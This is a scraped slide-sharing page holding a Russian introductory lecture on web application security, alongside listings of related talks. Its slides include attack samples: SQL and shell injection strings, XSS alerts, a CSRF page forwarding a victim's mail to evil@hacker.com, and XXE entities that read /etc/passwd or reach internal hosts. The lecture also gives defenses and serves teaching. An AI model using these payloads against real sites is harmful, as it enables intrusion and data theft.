Pt devteev-risspaPt devteev-risspa
Pt devteev-risspa
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновение
 
Web осень 2012 лекция 10
Web осень 2012 лекция 10Web осень 2012 лекция 10
Web осень 2012 лекция 10
 
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
Как обезопасить PBN от взлома? Практические рекомендации
Как обезопасить PBN от взлома? Практические рекомендацииКак обезопасить PBN от взлома? Практические рекомендации
Как обезопасить PBN от взлома? Практические рекомендации
 
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
 

Plus de Andrew Petukhov

Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникацииАрмия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникацииAndrew Petukhov
 
You Can Be Anything You Want to Be: Breaking Through Certified Crypto in Bank...
You Can Be Anything You Want to Be: Breaking Through Certified Crypto in Bank...You Can Be Anything You Want to Be: Breaking Through Certified Crypto in Bank...
You Can Be Anything You Want to Be: Breaking Through Certified Crypto in Bank...Andrew Petukhov
 
Обнаружение уязвимостей логики приложений методом статического анализа. Где п...
Обнаружение уязвимостей логики приложений методом статического анализа. Где п...Обнаружение уязвимостей логики приложений методом статического анализа. Где п...
Обнаружение уязвимостей логики приложений методом статического анализа. Где п...Andrew Petukhov
 
No locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructureNo locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructureAndrew Petukhov
 
Обеспечение безопасности расширений в корпоративных информационных системах
Обеспечение безопасности расширений в корпоративных информационных системахОбеспечение безопасности расширений в корпоративных информационных системах
Обеспечение безопасности расширений в корпоративных информационных системахAndrew Petukhov
 
Detecting Insufficient Access Control in Web Applications
Detecting Insufficient Access Control in Web ApplicationsDetecting Insufficient Access Control in Web Applications
Detecting Insufficient Access Control in Web ApplicationsAndrew Petukhov
 
Benchmark сканеров SQL injection
Benchmark сканеров SQL injectionBenchmark сканеров SQL injection
Benchmark сканеров SQL injectionAndrew Petukhov
 
Access Control Rules Tester
Access Control Rules TesterAccess Control Rules Tester
Access Control Rules TesterAndrew Petukhov
 
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...Andrew Petukhov
 

Plus de Andrew Petukhov (9)

Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникацииАрмия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
 
You Can Be Anything You Want to Be: Breaking Through Certified Crypto in Bank...
You Can Be Anything You Want to Be: Breaking Through Certified Crypto in Bank...You Can Be Anything You Want to Be: Breaking Through Certified Crypto in Bank...
You Can Be Anything You Want to Be: Breaking Through Certified Crypto in Bank...
 
Обнаружение уязвимостей логики приложений методом статического анализа. Где п...
Обнаружение уязвимостей логики приложений методом статического анализа. Где п...Обнаружение уязвимостей логики приложений методом статического анализа. Где п...
Обнаружение уязвимостей логики приложений методом статического анализа. Где п...
 
No locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructureNo locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructure
 
Обеспечение безопасности расширений в корпоративных информационных системах
Обеспечение безопасности расширений в корпоративных информационных системахОбеспечение безопасности расширений в корпоративных информационных системах
Обеспечение безопасности расширений в корпоративных информационных системах
 
Detecting Insufficient Access Control in Web Applications
Detecting Insufficient Access Control in Web ApplicationsDetecting Insufficient Access Control in Web Applications
Detecting Insufficient Access Control in Web Applications
 
Benchmark сканеров SQL injection
Benchmark сканеров SQL injectionBenchmark сканеров SQL injection
Benchmark сканеров SQL injection
 
Access Control Rules Tester
Access Control Rules TesterAccess Control Rules Tester
Access Control Rules Tester
 
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
 

Безопасность веб-приложений: starter edition

  • 1. БЕЗОПАСНОСТЬ ВЕБ-ПРИЛОЖЕНИЙ Starter Edition Петухов Андрей
  • 2. Содержание Broken Terminology (сегодня) Broken Web (сегодня и в следующий раз) Broken Defenses (в следующий раз)
  • 3. Broken Terminology Путаница в концептах ✓ Недостаток/Уязвимость/Угроза/Атака Путаница в классификациях и рейтингах ✓ “аудит по классификации OWASP Top 10” ✓ OWASP Top Ten - рейтинг критичности уязвимостей в веб-приложениях ✓ SANS Top 25 - рейтинг критичности ошибок в ПО ✓ WASC Threat Classification - попытка классификации атак ✓ Common Weakness Enumeration - индуктивная классификация недостатков
  • 4. Broken Terminology Путаница в определениях ✓ Wiki: Cross-site scripting (XSS) is a type of computer security vulnerability … that enables attackers to inject client-side script into Web pages viewed by other users. ✓ WASC: Cross-site Scripting (XSS) is an attack technique that involves echoing attacker-supplied code into a user's browser instance. ✓ OWASP: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. ✓ CWE-79: The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Consider this ✓ XSS - в первую очередь атака! ✓ XSS можно провести через DNS rebinding или Cache Poisoning; подходит ли это хотя под одно определение? ✓ The same weakness could be exploited for XSS, redirecting to malicious site (hello, Open Redirect!) or even Session Fixation. Try to guess how!
  • 5. Broken Terminology To add insult to injury ✓ “открыт новый класс уязвимостей” - Simple HowTo: 1) Google for rare DSL with dynamic code execution feature - 2) Make a PoC when you can inject DSL-commands into DSL-program - 3) Submit your talk about brand new vulnerability class for conference ✓ “открыт принципиально новый вид атак” ✓ [2005 год] CSRF - новый вид атак? ✓ [2008 год] А UI redressing (Clickjacking)? ✓ Говорят, это все Confused Deputy ✓ Еще говорят, новых классов уязвимостей вообще быть не может ✓ А еще говорят, что классификацию уязвимостей вообще невозможно построить (см. “A critical analysis of vulnerability taxonomies”) ✓ И последнее: SQLi можно использовать для DoS, можно для Authentication Bypass, а можно для Authorization Bypass (Privilege Escalation)
  • 6. Insight into weaknesses Есть классификация по времени появления ✓ проектирование, кодирование, внедрение, эксплуатация, [выведение из эксп.] Большинство уязвимостей появляется ✓ Из-за отсутствия или неполной реализации механизмов обеспечения ИБ ✓ Из-за некорректной обработки входных данных
  • 7. Downstream Components ✓ Веб-приложение в процессе работы взаимодействует с различными внешними подсистемами: СУБД, LDAP, стандартный интерпретатор ОС, почтовый демон, браузер, файловая система и т.п. ✓ У большинства подсистем есть свой язык, который она умеет интерпретировать: SQL у СУБД, Shell/CMD у стандартного интерпретатора ОС, SMTP-команды у почтового демона, HTML и Javascript у браузера и т.п. ✓ Обращения веб-приложения во внешние подсистемы параметризуются: есть константная часть и есть переменная, значение которой формируется динамически с участием пользовательских данных - шаблоны HTML-страниц, заполняемые данными из СУБД или из запроса - заготовки SQL-запросов, SELECT-критерии в которых заполняются на основе входных параметров - заготовки Shell-команд, к которым необходимо добавить только аргумент - обработка запроса http://newsfeed.us.to/news.php?id=17 может включать PHP-оператор вида mysql_query(“SELECT * FROM news WHERE id = ”.$id);
  • 8. The Essence of Injection ✓ В каждом языке определены ключевые слова, разделители, правила оформления секций данных (в т.ч. строк и констант): ➡ SELECT * FROM news WHERE author = ‘petand’ ➡ <a href=”/show?id=1”>View first</a> ➡ eval({ id: 1, name: "Foo", price: 123}) ➡ grep -R “search string” * ✓ В каждом запросе или команде к внешней подсистеме есть контекст команд (Control Channel) и есть контекст данных (Data Channel) ✓ Injection-атаки становятся возможными, если внешний пользователь сможет выйти из контекста данных в контекст команд: ➡ SELECT * FROM news WHERE author = ‘petand’ or sleep(5) -- ‘ ➡ <a href=”/show?id=”1”><script>alert(1)</script><a id=””>View first</a> ➡ eval({ id: 1, name: “Foo”});alert(1);//”, price: 123}) ➡ grep -R “search string” 1; echo “p0wned” #” * More here: http://cwe.mitre.org/data/definitions/74.html
  • 9. Examples of Injection ✓ SQL-операторы ➡ если входные данные не обрабатываются при построении SQL-запроса ✓ HTML-разметку ➡ если входные данные не обрабатываются при построении HTML-страницы ✓ Javascript-операторы ➡ если входные данные не обрабатываются при построении JSON-объекта ✓ CSS-директивы ➡ если входные данные не обрабатываются при построении CSS-правил ✓ HTTP-заголовки ➡ если входные данные не обрабатываются при построении ответного заголовка (например, Location) ✓ XPath-операторы ➡ если входные данные не обрабатываются при построении XPath-запроса
  • 10. Testing for Injection ✓ Методы обнаружения != методы эксплуатации ➡ при обнаружении устанавливается факт наличия недостатка ➡ при эксплуатации достигается конкретная цель ✓ Что можно наблюдать в режиме черного ящика? ➡ статус HTTP-ответа (200 vs 500), заголовки ответа ➡ тело ответа, задержку ответа ✓ Надо пытаться выйти за контекст данных ➡ надо уметь терминировать текущий контекст данных (пресловутая кавычка) ➡ надо уметь добавлять команды так, чтобы итоговый запрос во внешнюю подсистему оставался синтаксически корректным и после внедрения ➡ надо уметь влиять на наблюдаемое поведение (например, вызывать задержку) ✓ Типичные значения для тестирования ➡ 17‘ and sleep(5) -- ➡ “><script>alert(1);</script><a id=”
  • 11. Broken Web Cross-origin resource linking & CSRF Same Origin Policy & XSS Content types and content sniffing
  • 12. WWW-linking Cross-domain resource linking ➡ <img src=”http://photohosting.com/cute-kitten.jpg” /> ➡ <link rel=”stylesheet” type=”text/css” href=”http://othersite/mystyle.css” /> ➡ <script src=”http://js-vault.us.to/cute-library.js”></script> ➡ <iframe src=”http://socialnetwork.no/social.windget” /> Ambient credentials ➡ cookies ➡ HTTP-authorization Let’s have some fun!
  • 13. CSRF <html> <head><title>All you mail are belong to us</title></head> <body onload=”CsrfForm.submit();”> <img src="http://www.jewelrynutauctions.com/wp-content/uploads/cute-kittens-20- great-pictures-1.jpg" /> <form id=”CsrfForm” action=”http://mail/actions/add” method=”POST”> <input type=”hidden” name=”type” value=”forward” /> <input type=”hidden” name=”condition” value=”all” /> <input type=”hidden” name=”target” value=”evil@hacker.com” /> </form> </body> </html> ‣ CSRF - это выполнение действий! ‣ Смена пароля, смена почты, добавление админа и т.п. ‣ Считывать ответ от CSRF-запроса не даст SOP ‣ WTF SOP????
  • 14. Same Origin Policy Зачем какой-то CSRF, когда можно было бы сделать так: <html> <!-- HTML page hosted at http://evilhacker.us.to/bank-hijack.html --> <head><title>All you bank accounts are belong to us</title></head> <body> <!-- Important step of an attack: cute little kittens should still be there! --> <img src="http://www.jewelrynutauctions.com/wp-content/uploads/cute-kittens-20- great-pictures-1.jpg" /> <iframe name=”bank” src=”https://myprivatebank.no/myaccount/transfers/history” /> <script> document.bank.document. // <---- read whatever you want! </script> </body></html> SOP simplified: код из одного источника не может читать или изменять DOM-объекты другого источника Источник = протокол + домен + порт More here: http://www.w3.org/Security/wiki/Same_Origin_Policy
  • 15. Cross Site Scripting Цель XSS - обойти SOP Для этого надо, чтобы наш javascript вернулся в браузер пользователя из того источника, DOM которого мы хотим считывать (https://myprivatebank.no/) Возможность внедрения HTML-разметки позволяет сделать ровно это: вставить в приложение скрипт, который потом загрузит жертва в свой браузер в контексте нужного источника В общем случае XSS позволяет делать с уязвимым сайтом все то же, что может делать пользователь, загрузивший XSS-скрипт
  • 16. XSS: common cases Reflected vs Stored XSS vs [DOM-based] ✓ reflected могут быть отражены AntiXSS фильтрами в браузерах (IE, Chrome, NoScript) ✓ про экслуатацию DOM-based затруднительно узнать из логов сервера With user interaction vs W/o user interaction Browser specific vs Browser agnostic XSS over CSRF
  • 17. XSS exploitation The BeeF Project DEMO http://www.youtube.com/watch? v=XsXOYwZkTyo
  • 18. В следующий раз Broken cookies Broken HTTPS Broken UI (UI redressing) Атаки класса XXE Broken Defense (WAF, browser security and other)
  • 19. Broken cookies ✓ Нужны для реализации сессий (сеансов) ✓ Де-факто используются для аутентификации запросов ✓ Формат Set-Cookie: <name>=<value>[; <name>=<value>]... [; expires=<date>][; domain=<domain_name>] [; path=<some_path>] [; secure][; httponly] ✓ Scoping: cookie SoP != DOM SoP ➡ Не ограничены портом и протоколом (cookie с http://example.com/ уйдут на https://example.com:8080/) ➡ Трудно ограничить домен ➡ Протокол можно ограничить флагом secure ✓ Read more: http://code.google.com/p/browsersec/wiki/Part2#Same- origin_policy_for_cookies
  • 20. Broken cookies: scoping ✓ Атрибут domain отсутствует ✓ Атрибут domain присутствует и содержит wildcard ✓ Атрибут domain присутствует и содержит адрес (warning!) ✓ См. таблицу (взята из The Tangled Web) ✓ Что все это значит? ➡ есть сайт site.com с авторизацией ➡ есть сайт bar.site.com либо под нашим контролем, либо с XSS => p0wned!
  • 21. Broken HTTPS ✓ Открытые сети в массы ➡ доступны инструменты для пассивного прослушивания трафика ➡ доступны инструменты для MiTM ✓ Основные угрозы для критичных приложений ➡ перехват учетных данных ➡ перехват cookies, которые аутентифицируют запросы ✓ Сайты защищаются от угроз с помощью HTTPS ✓ Пользователи открытых сетей защищаются, работая с критичными сайтами в открытых сетях только по HTTPS ✓ Этого не достаточно! ✓ Заблуждение: “если я не открываю через открытую сеть сайт, мои учетные данные и cookies в сохранности”. Fail. ✓ Пример перехвата: http://www.youtube.com/watch?v=Bf8pziDavfQ
  • 22. Broken HTTPS ✓ Как делать правильно: ➡ cookies помечать флагом secure (и httponly!) ➡ использовать HTTP Strict Transport Security (https:// developer.mozilla.org/en-US/docs/Security/ HTTP_Strict_Transport_Security)
  • 23. Broken UI ✓ Предпосылки: ➡ HTML: iframe ➡ js: возможность динамически менять размеры и положения элементов, навешивать и снимать обработчики событий, менять курсор ➡ CSS: свойство opacity, свойство cursor ✓ В общем случае атака называется UI Redressing и имеет много видов: clickjacking, strokejacking, cursorjacking, likejacking ✓ Почитать: ➡ Кратко: http://podlipensky.com/2012/07/clickjacking-explained/ ➡ Полно: UI Redressing: Attacks and Countermeasures Revisited ✓ Демо: ➡ http://digitalbreed.com/clickjacking-demo/facebook.php ➡ http://podlipensky.com/2012/08/cursor-spoofing-cursorjacking/
  • 24. Broken UI ✓ Защита приложения: ➡ Рекомендуется: X-Frame-Options: deny/sameorigin ➡ Не рекомендуется: frame-busting code (см. “Busting frame busting: a study of clickjacking vulnerabilities at popular sites”) ✓ Защита клиента ➡ NoScript (технология ClearClick)
  • 25. XML и XXE ✓ XML - де-факто стандартный транспорт на прикладном уровне (XML-RPC, SOAP) ✓ Документы: правильные и действительные ✓ Парсеры: ➡ обычные и валидирующие (DTD и XML Schema) ➡ реально распространены: libxml, msxml и xerces ✓ Сущности: ➡ внешние и внутренние ➡ валидирующий парсер обязан разрешить внешнюю сущность, а невалидирующий - по желанию ➡ реально многие парсеры по умолчанию всегда разрешают внешние сущности
  • 26. XML и XXE ✓ Что можно сделать: ➡ считывать локальные файлы <!ENTITY xxe SYSTEM "file:///etc/passwd"> ➡ DoS <!ENTITY dos SYSTEM "/dev/zero"> ➡ сканировать DMZ- сегмент <!ENTITY scan SYSTEM "192.168.1.1C$"> или <!ENTITY scan SYSTEM "http://10.0.0.1:22/"> ➡ отправлять произвольные (почти) запросы (SSRF) <!ENTITY ssrf SYSTEM "http://internalhost/admin?p=value"> Hint: вместо http можно использовать любой поддерживаемый протокол! Больше в статье SSRF vs. Business-critical applications: XXE tunneling in SAP ✓ Защита: dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  • 27. Broken Defense ✓ “Свое мнение” у каждого браузера ➡ пример с cookies и IE, AntiXSS фильтры, Content Sniffing ➡ недавняя история с багами Оперы; 4lulz http://rutracker.org/ forum/viewtopic.php?t=4228361 ✓ WAF не защищает от атак без синтаксических аномалий (т.е. не injection-атак) ➡ black-listing vs white-listing ➡ black-listing учитывает особенности атак, white - защищаемого приложения ➡ не injection-атаки (например, атаки на уязвимости авторизации) не вызывают синтаксических аномалий ➡ не injection-атаки используют особенности приложений
  • 28. Спасибо за внимание! Вопросы? Twitter: @p3tand Blog: https://andrepetukhov.wordpress.com/ Email: andrew.petukhov@internalsecurity.ru Видео лекций: https://www.youtube.com/playlist? list=PL2173C4AB816E4F3F Must read: “The Tangled Web” by Michal Zalewski

Notes de l'éditeur

  1. \n
  2. \n
  3. \n
  4. \n
  5. \n
  6. \n
  7. \n
  8. \n
  9. \n
  10. \n
  11. \n
  12. \n
  13. \n
  14. \n
  15. \n
  16. \n
  17. \n
  18. \n
  19. \n
  20. \n
  21. \n
  22. \n
  23. \n
  24. \n
  25. \n
  26. \n
  27. \n
  28. \n